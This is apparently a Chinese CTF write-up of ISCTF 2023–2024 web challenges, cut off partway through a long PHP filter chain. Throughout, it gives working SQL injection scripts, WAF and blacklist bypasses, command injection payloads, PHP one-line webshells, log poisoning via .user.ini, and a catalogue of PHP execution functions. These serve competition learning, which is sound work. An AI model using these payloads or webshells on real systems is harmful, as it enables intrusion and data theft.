2023 1z_Ssql(sql注入) username=1' or 1=1# //illegal words! username=1'# //用户名或密码错误 username=-1' or 1 order by 3# //回显You are so smart! Let me give you a hint ↓ 5aSn5L2s77yM5L2g6L+Z5LmI6IGq5piO5bqU6K+l5LiN6ZyA6KaBaGludOWQpz8=,但是没用,说明等号被过滤了 username=-1' or 1 order by 4# //用户名或密码错误 username=-1' union select 1,2,3# //illegal words! username=union //illegal words!,尝试后双写和大写都不能绕过 username=select //用户名或密码错误 尝试布尔盲注 username=0' or if(substr(database(),1,1)=c,true,false) //测出来=,like都被过滤了
这里没思路了,扫目录发现/robots.txt,访问可得/here_is_a_sercet.php,得到源码
<?php highlight_file ("here_is_a_sercet.php" );function waf ($str ) { $black_list = "762V08zk+xrmKxIFrdJIJj6ULvI8Lc0pX39LjDyIUb0eAGkZe4KQa87TJXuqnFw0u/669wWRsqYFya812FtULw9+tpiGlaH2gleDfDKzr+g=" ; if (preg_match ($black_list ,$str )){ die ("<h4>illegal words!</h4>" ); } return $str ; } ?>
这里看wp才知道涉及到sm4加密
const SM4 = require ("gm-crypt" ).sm4 ;var payload = "xxx" ;let sm4Config = { key : "B6*40.2_C9#e4$E3" , mode : "ecb" , cipherType : "base64" }; let sm4 = new SM4 (sm4Config);var result = sm4.decrypt (payload);console .log ("瑙e瘑:" + result)
源码即为
<?php highlight_file ("here_is_a_sercet.php" );function waf ($str ) { $black_list = "/union|=|+|sleep|benchmark|for|where|sys|innodb|is|null|like|/*|*//i" ; if (preg_match ($black_list ,$str )){ die ("<h4>illegal words!</h4>" ); } return $str ; } ?>
法一:布尔盲注 由于可知道用二分法查找来实现布尔盲注,利用成功查询的那个hint来实现盲注,注意,黑名单中有for,不能使用information_schema这个库
import requestsdef force (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((database()),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,库名为" +find) break def force1 (url ): find='' for i in range (1 ,200 ): found_char=False left,right=32 ,127 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((select group_concat(username) from bthcls.users),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url) force1(url)
这里看了wp,说的要利用题目给的附件来进行爆破,得到表名和列名,但是没附件,就只能直接盲注,更改最后查询语句中username为password可得到密码
最后用admin和we1come7o1sctf成功登录就能回显flag
法二:loadfile读index.php文件 首先先看下用户权限
import requestsdef force (url ): find='' for i in range (1 ,500 ): found_char=False left,right=32 ,127 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((select user()),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid if left>32 : find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url)
是以root身份登录到mysql的,可以load_file读取任意本地文件
看启动文件start.sh,用loadfile读,注意这里要更改取值边界范围
import requestsdef force (url ): find='' for i in range (1 ,500 ): found_char=False left,right=0 ,128 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((load_file('/start.sh')),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url)
可以看到它把flag写入到了index.php,且泄露出了其绝对路径,直接load_file读
import requestsdef force (url ): find='' for i in range (1 ,500 ): found_char=False left,right=0 ,128 while left<right: mid=(left+right)//2 payload = { "username" :f"1' or (ascii(substr((load_file('/var/www/localhost/htdocs/index.php')),{i} ,1))>{mid} )#" , "password" :"1" , "submit" :"%E7%99%BB%E5%BD%95" } r=requests.post(url=url,data=payload).text if ('hint' in r): left=mid+1 else : right=mid find += chr (left) print (find) found_char = True if not found_char: print ("未找到更多字符,结果为" +find) break if __name__ =="__main__" : url='http://gz.imxbt.cn:20502' force(url)
但是爆了半个小时没出来,理论成立
绕进你的心里(php特性) <?php highlight_file (__FILE__ );error_reporting (0 );require 'flag.php' ;$str = (String)$_POST ['pan_gu' ];$num = $_GET ['zhurong' ];$lida1 = $_GET ['hongmeng' ];$lida2 = $_GET ['shennong' ];if ($lida1 !== $lida2 && md5 ($lida1 ) === md5 ($lida2 )){ echo "md5绕过了!" ; if (preg_match ("/[0-9]/" , $num )){ die ('你干嘛?哎哟!' ); } elseif (intval ($num )){ if (preg_match ('/.+?ISCTF/is' , $str )){ die ("再想想!" ); } if (stripos ($str , '2023ISCTF' ) === false ){ die ("就差一点点啦!" ); } echo $flag ; } } ?>
数组绕过MD5,intval() 转换数组类型时,不关心数组中的内容,只判断数组中有没有元素。PCRE回溯次数限制绕过来绕过preg_match()函数的检测
preg_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。
hongmeng[]=1&shennong[]=2&zhurong[]=2023ISCTF
import requests url = "http://gz.imxbt.cn:20524//?hongmeng[]=1&shennong[]=2&zhurong[]=a" data = { 'pan_gu' : 'aaaaaaaaaa' * 250000 + '2023ISCTF' } r = requests.post(url, data=data) print (r.text)
easy_website(sql注入) 还是sql注入
username=1' or 1=1# //根据报错发现空格,or被过滤 username=1'/**/||1# //登录成功 username=1'/**/order/**/by/**/4# //发现or被过滤 username=1'/**/oorrder/**/by/**/4# //错误列数 username=1'/**/oorrder/**/by/**/1# //用户名或密码错误 username=1'/**/union/**/select/**/database()# //union和select都被过滤 username=1'/**/uunionnion/**/sselectelect/**/1# //成功登录,1为回显位 username=1'/**/uunionnion/**/sselectelect/**/database()# //users username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema='users')# //users username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(column_name)/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='users')# //id,username,password,ip,time,user,password username=1'/**/uunionnion/**/sselectelect/**/(seselectlect/**/group_concat(passwoorrd)/**/from/**/users)# //ISCTF{6da56c3d-73fe-43f4-bdda-832edc9d1736}
webinclude(文件包含) 扫目录发现备份文件/index.bak,获得源码如下
function string_to_int_array (str) { const intArr = []; for (let i=0 ;i<str.length;i++){ const charcode = str.charCodeAt(i); const partA = Math.floor(charcode / 26 ); const partB = charcode % 26 ; intArr.push(partA); intArr.push(partB); } return intArr; } function int_array_to_text (int_array) { let txt = '' ; for (let i=0 ;i<int_array.length;i++){ txt += String.fromCharCode(97 + int_array[i]); } return txt; } const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(parameter))));if (hash === 'dxdydxdudxdtdxeadxekdxea' ){ window.location = 'flag.html' ; }else { document.getElementById('fail' ).style.display = '' ; }
直接写个解码脚本,获得原始参数为mihoyo,直接伪协议读取就行
def int_array_to_text (int_array ): return '' .join(chr (97 + i) for i in int_array) def text_to_int_array (text ): return [ord (c) - 97 for c in text] def reverse_string_to_int_array (int_array ): result = [] for i in range (0 , len (int_array), 2 ): partA = int_array[i] partB = int_array[i + 1 ] original_char_code = partA * 26 + partB result.append(original_char_code) return '' .join(chr (code) for code in result) hash_value = "dxdydxdudxdtdxeadxekdxea" int_array_from_hash = text_to_int_array(hash_value) intermediate_str = reverse_string_to_int_array(int_array_from_hash) final_parameter = reverse_string_to_int_array(text_to_int_array(intermediate_str)) print ("原始参数 (parameter):" , final_parameter)
mihoyo=php://filter/read=convert.base64-encode/resource=flag.php
$flag = “ISCTF{00b0c051-8782-48b7-9c65-fc8686418395}”;
Where is the flag <?php highlight_file (__FILE__ );eval ($_POST [1 ]);?>
1=system("ls"); //flag.php index.php 1=system("tac flag.php"); //FLAG1:ISCTF{Y0u_6u 1=system("tac /flag"); //FLAG2:cceeded_in_f 1=system("tac /flag.sh"); //FLAG3=ind1n9_f1ag}
ISCTF{Y0u_6ucceeded_in_find1n9_f1ag}
。。。。。结果错了,又去看了下题,原来在环境变量中
ISCTF{8e1a7953-1020-486b-af07-9a0a7c53c9cc}
Fuzz! <?php error_reporting (0 );header ('Content-Type: text/html; charset=utf-8' );highlight_file (__FILE__ );$file = 'file:///etc/passwd' ;if (preg_match ("/\`|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\\\\|\'|\"|\;|\<|\>|\,|\?|jay/i" , $_GET ['file' ])){ die ('你需要fuzz一下哦~' ); } if (!preg_match ("/fi|le|flag/i" , $_GET ['file' ])){ $file = $_GET ['file' ]; } system ('curl ' .$file );
fuzz一下可以看到-./{|}[]被放出来了
遇到这种可以先考虑绕过
file=127.0.0.1|ls / //flag flaggggggg.txt file=127.0.0.1 | tac /f[j-m]aggggggg.txt
ISCTF{Fuzz_is_a_great_trick_Did_you_find_curly_braces?-Jay17}
也可以按照题目给的提示,用大括号绕过
file=f{i}l{e}:///f{l}aggggggg.txt
。。。。。。。。。。。。。虽然但是,怎么又是在环境变量中
ISCTF{cb477fe0-d027-457f-a3e1-2160f114f13d}
wafr <?php error_reporting (0 );header ('Content-Type: text/html; charset=utf-8' );highlight_file (__FILE__ );if (preg_match ("/cat|tac|more|less|head|tail|nl|sed|sort|uniq|rev|awk|od|vi|vim/i" , $_POST ['code' ])){ die ("想读我文件?大胆。" ); } elseif (preg_match ("/\^|\||\~|\\$|\%|jay/i" , $_POST ['code' ])){ die ("无字母数字RCE?大胆!" ); } elseif (preg_match ("/bash|nc|curl|sess|\{|:|;/i" , $_POST ['code' ])){ die ("奇技淫巧?大胆!!" ); } elseif (preg_match ("/fl|ag|\.|x/i" , $_POST ['code' ])){ die ("大胆!!!" ); } else { assert ($_POST ['code' ]); }
简单rce,直接命令执行绕过就行
code=system("ls")?> //flaggggggg.txt index.php code=system("ta\c f*")?>
预期解应该是用strings
code=system("strings f*")?>
ez_ini 常规传.user.ini不行,过滤了文件内容中的<,导致php代码不能被执行,那么可以尝试通过.user.ini和日志文件配合进行日志注入
user.ini:auto_append_file=/var/log/nginx/access.log UA:<?php eval($_POST[123]);?>
2024 1z_php <?php highlight_file ('index.php' );if (isset ($_POST ['J' ])){ $call =$_POST ['J' ]; $dangerous_commands = ['cat' , 'tac' , 'head' , 'nl' , 'more' , 'less' , 'tail' , 'vi' , 'sed' , 'od' ]; foreach ($dangerous_commands as $command ) { if (preg_match ("/$command /i" , $call )) { die ("这些个危险函数可不兴使啊" ); } } system ($call ); } ?>
ban了些读取文件的命令,可使用strings绕过
读取绕过 J=ls J=strings /f14g #strings会提取文件中的可打印字符 J=ca\t /f14g #反斜杠绕过 J=grep { /f14g #grep是用来查找字符串的,在这里我们查找{他会输出含有{的那一行 J=c''at /f14g #''在bash中会被解释为空字符串,当flag被禁时也可以用 J=cp /f14g /var/www/html/index.php #将/f14g的内容拷贝到index.php,index.php的内容会被覆盖
传马 false:J=echo '<?php @system($_POST['123']);?>' > a.php true:J=echo '<?php @eval($_POST['123']);?>' > a.php
然后蚁剑访问a.php连接后就可以获得flag了
但是在这里就涉及到第一次传马失败的知识点,system()函数和eval()函数区别
补充:system()函数和eval()函数区别 区分 eval类型函数是代码执行而不是命令执行 (一句话木马)
system类型函数是命令执行而不是代码执行
具体来说,就是eval()函数将字符串作为代码执行。可以执行任何合法的编程语言语句或表达式,而sysstem()函数调用操作系统的命令解释器(如Shell)来执行指定的命令
举例 <?php eval ("echo 1+1;" ); system ("echo 1+1;" ); ?> <?php $num =1 ; eval ("\$a = $num ;" ); system ("\$b = $num ;" ); ?>
代码执行函数 1 -eval <?php eval ($_POST ["cmd" ]) ?> 2 -assert<?php assert ($_POST ["cmd" ]) ?> 3 -call_user_func<?php call_user_func ($_POST ["fun" ],$_POST ["para" ]) ?> 4 -create_function<?php $a = $_POST ['func' ]; $b = create_function ('$a' ,"echo $a " ); $b ('' ); ?> 5 -array_map<?php $array = array (0 ,1 ,2 ,3 ,4 ,5 ); array_map ($_GET ['func' ],$array ); ?>
命令执行函数 1 -system<?php system ($_POST ["cmd" ]);?> 2 -passthru<?php passthru ($_POST ["cmd" ]);?> 3 -exec<?php echo exec ($_POST ["cmd" ]);?> 4 -pcntl_exec<?php pcntl_exec ("/bin/bash" ,array ($_POST ["cmd" ])); ?> 5 -shell_exec<?php echo shell_exec ($_POST ["cmd" ]); ?> 6 -popen ()/proc_popen ()<?php $handle = popen ("/bin/ls" ,"r" );?> 7 -``<?php echo `whoami`?> 8 -<?php $cmd = 'system' ; ob_start ($cmd ) echo "$_GET [a]" ; ob_end_flush (); ?>
25时晓山瑞希生日会
进入环境就提示需要Project Sekai的客户端请求,抓包更改UA
User-Agent: Project Sekai
然后要正确时间,根据题目描述添加时间 不知道年月日好像随便一个都行?
Date:Tue, 15 Nov 2010 9:15:31 GMT
提示本地来,添加X-Forwarded-For
X-Forwarded-For:127.0.0.1
好吧,还是限制了时间,更改时间就行
Date:Tue, 15 Nov 2024 05:01:31 GMT
又结束了?????再改时间吧
Date:Tue, 15 Nov 2024 25:01:31 GMT
提示格式不对,搜索后更改格式和时间
Date: Sun, 27 Aug 2024 05:00:00 GMT
拿到flag
UP!UPloader 随便上传一个文件发现有include.php,访问发现为文件包含
filename=php://filter/read=convert.base64-encode/resource=upload.php
成功读取文件内容,解码后源码如下
<?php error_reporting (0 );$file = $_FILES ['file' ];if (isset ($file ) && $file ['size' ] > 0 ) { $ext = pathinfo ($file ['name' ], PATHINFO_EXTENSION); $name = pathinfo ($file ['name' ], PATHINFO_FILENAME); $dir_name = $name . '.' . $ext ; $upload_dir = './uploads/' ; if (!is_dir ($upload_dir )) { mkdir ($upload_dir , 0755 , true ); } if (move_uploaded_file ($file ['tmp_name' ], $upload_dir . md5 ($dir_name ) . '.' . $ext )) { echo "文件上传成功!不过文件路径可不好找呀~什么?什么include.php?我不知道啊。" ; } else { echo "文件存储失败,未知原因......" ; } die (); } ?>
因此直接访问上传目录下的md5加密后文件名传马即可
这里我传的是1.php,加密后为f3b94e88bd1bd325af6f62828c8785dd.php,蚁剑连接就行
其实没找到,flag藏在phpinfo()页面了,除了phpinfo();还可以通过system('env');找到
ezrce <?php error_reporting (0 );if (isset ($_GET ['cmd' ])) { $cmd = $_GET ['cmd' ]; if (preg_match ("/flag|cat|ls|echo|php|bash|sh|more| |less|head|tail|[\|\&\>\<]|eval|system|exec|popen|shell_exec/i" , $cmd )) { die ("Blocked by security filter!" ); } else { eval ($cmd ); } } else { highlight_file (__FILE__ ); } ?>
ban了挺多函数,但是十六进制那个未被ban,因此直接绕过
cmd=(sy.(st).em)(hex2bin("6c73202f")); //十六进制为ls / cmd=(sy.(st).em)(hex2bin("636174202f666c6167")); //十六进制为cat /flag
其他payload
cmd=passthru('cd%09..;cd%09..;cd%09..;strings%09[a-z]lag'); //system 可以用 passthru 代替,过滤了 /,可以通过 cd .. 进行绕过,然后文件读取同样 strings 即可 cmd=include$_GET[1];&1=php://filter/convert.base64-encode/resource=/flag
小蓝鲨的冒险 <?php error_reporting (0 );highlight_file (__FILE__ );$a = "isctf2024" ;$b = $_GET ["b" ];@parse_str ($b ); if ($a [0 ] != 'QNKCDZO' && md5 ($a [0 ]) == md5 ('QNKCDZO' )) { $num = $_POST ["num" ]; if ($num == 2024 ){ die ("QAQ" ); } if (preg_match ("/[a-z]/i" , $num )){ die ("no no no!" ); } if (intval ($num ,0 ) == 2024 ){ if (isset ($_GET ['which' ])){ $which = $_GET ['which' ]; switch ($which ){ case 0 : print ('QAQ' ); case 1 : case 2 : require_once $which .'.php' ; echo $flag ; break ; default : echo GWF_HTML::error ('PHP-0817' , 'Hacker NoNoNo!' , false ); break ; } } } }
payload
GET b=a[0]=240610708&which=flag POST num=2024.1或num=03750
千年樱 第一层 先添加cookie
第二层 <?php include "dir.php" ; highlight_file (__FILE__ ); if (file_get_contents ($_POST ['name' ]) === 'ISCTF' ){ echo $dir2 ; } else { die ("Wrong!" ); } ?>
直接用data伪协议
name=data://text/plain,ISCTF
第三层 <?php include "dir.php" ; highlight_file (__FILE__ ); function waf ($str ) { if (preg_match ("/http|php|file|:|=|\/|\?/i" , $str ) ){ die ('bad hacker!!!' ); } } $poc = $_POST ['poc' ]; waf ($poc ); $filename = "php://filter/$poc /resource=/var/www/html/badChar.txt" ; $result = file_get_contents ($filename ); if ($result === "sakura for ISCTF" ){ echo "yes! master!" ; eval ($_POST ['cmd' ]); } if ($_GET ['output' ] == 114514 && !is_numeric ($_GET ['output' ])){ var_dump ($result ); } ?>
我们可以用神奇的php_filter_chain_generator工具构造filter链:
python php_filter_chain_generator.py --chain sakura for ISCTF<?php
poc=convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|c